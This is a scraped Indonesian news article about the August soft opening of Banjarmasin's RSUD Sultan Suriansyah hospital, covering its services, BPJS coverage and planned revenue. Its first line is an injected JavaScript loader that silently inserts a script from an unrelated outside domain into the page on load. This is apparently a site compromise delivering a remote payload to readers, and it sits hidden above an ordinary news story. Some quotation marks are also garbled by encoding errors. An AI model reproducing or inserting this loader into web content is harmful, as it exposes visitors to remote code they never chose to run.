(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Rumah Sakit Umum Daerah (RSUD) milik Kota Banjarmasin, Sultan Suriansyah, mulai tanggal 12 Agustus nanti melakukan soft opening sebagai tanda mulai beroperasi. Selain membuka pelayanan kegawat daruratan 24 jam, rumah sakit tersebut juga memberikan pelayanan rawat inap, dan rawat jalan berupa Poliklinik Anak, Poliklinik Bedah, Penyakit Dalam, Obgyn, THT, Rehabilitasi Medic, Poliklinik Gigi dan Mulut serta Medical Check up.
“Kami informasikan tanggal 12 Agustus nanti kita sudah membuka pelayanan Unit Gawat Darurat 24 jam, dengan jumlah 24 tempat tidur untuk rawat inap. Kemudian ada juga Poliklinik Anak, Poliklinik Bedah, Penyakit Dalam, Obgyn, THT, Rehabilitasi Medic, Gigi dan Mulut serta Medical Check up semua sudah siap,†ujar Kadis Kesehatan Kota Banjamasin Dr Machli Riyadi.
Saat soft opening nanti, kegiatan medis di rumah sakit kebanggan orang Banjarmasin ini akan ditandai dengan melakukan medical check up, khusus untuk para pejabat lingkup Pemko Banjarmasin. Ia juga akan mengundang Kepala SKPD melakukan medical check up pada tanggal 12 Agustus nanti, sebagai bentuk mengawali dibukanya pelayanan.
Pembukaan operasional penuh rumah sakit yang berlokasi Jalan Rantauan Darat, Kecamatan Banjarmasin Selatan ini, rencananya akan dilakukan pada September nanti, bertepatan dengan Hari Jadi Kota Banjarmasin ke 493.
Wakil Walikota Banjarmasin Hermansyah mengatakan agar saat soft opening tanggal 12 Agustus nanti , 3 pelayanan dasar di rumah sakit tersebut yakni rawat jalan, rawat inap dan check up, harus benar-benar bisa dioperasionalkan. “Jadi tiga hal itu yang utama harus kita lakukan,†ucapnya.
Terkait pelayanan BPJS yang di awal pembukaan nanti belum bisa memberikan pelayanan kepada masyarakat yang berobat di rumah sakit tersebut. Hal ini lantaran akreditasi rumah sakit tersebut masih dalam tahap berproses. Hermansyah kembali menegaskan, masyarakat kota berjuluk seribu sungai jangan berkecil hati.
Pasalnya, Pemko Banjarmasin akan berusaha membantu masyarakat dengan menggunakan dana berasal dari APBD Kota Banjarmasin, sehingga masyarakat pengguna kartu BPJS tetap bisa berobat di rumah sakit tersebut. “Ini nanti koordinasi dengan Bakeuda, siap menggunakan APBD sesuai dengan Undang-Undang, tapi masyarakat BPJS juga harus berobatnya di sini,†katanya.
Ia berharap, dengan beroperasionalnya rumah sakit tersebut, selain masyarakat umum, para ASN dan honorer lingkup Pemko Banjarmasin bila memerlukan pelayanan kesehatan segera datang ke rumah sakit tersebut.
Dari informasi terhimpun, saat beroperasional penuh di tahun 2020 nanti, Dinas Kesehatan Kota Banjarmasin menargetkan pendapatan yang bisa dihasilkan dari rumah sakit tersebut sekira Rp20 miliar.(mario)
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.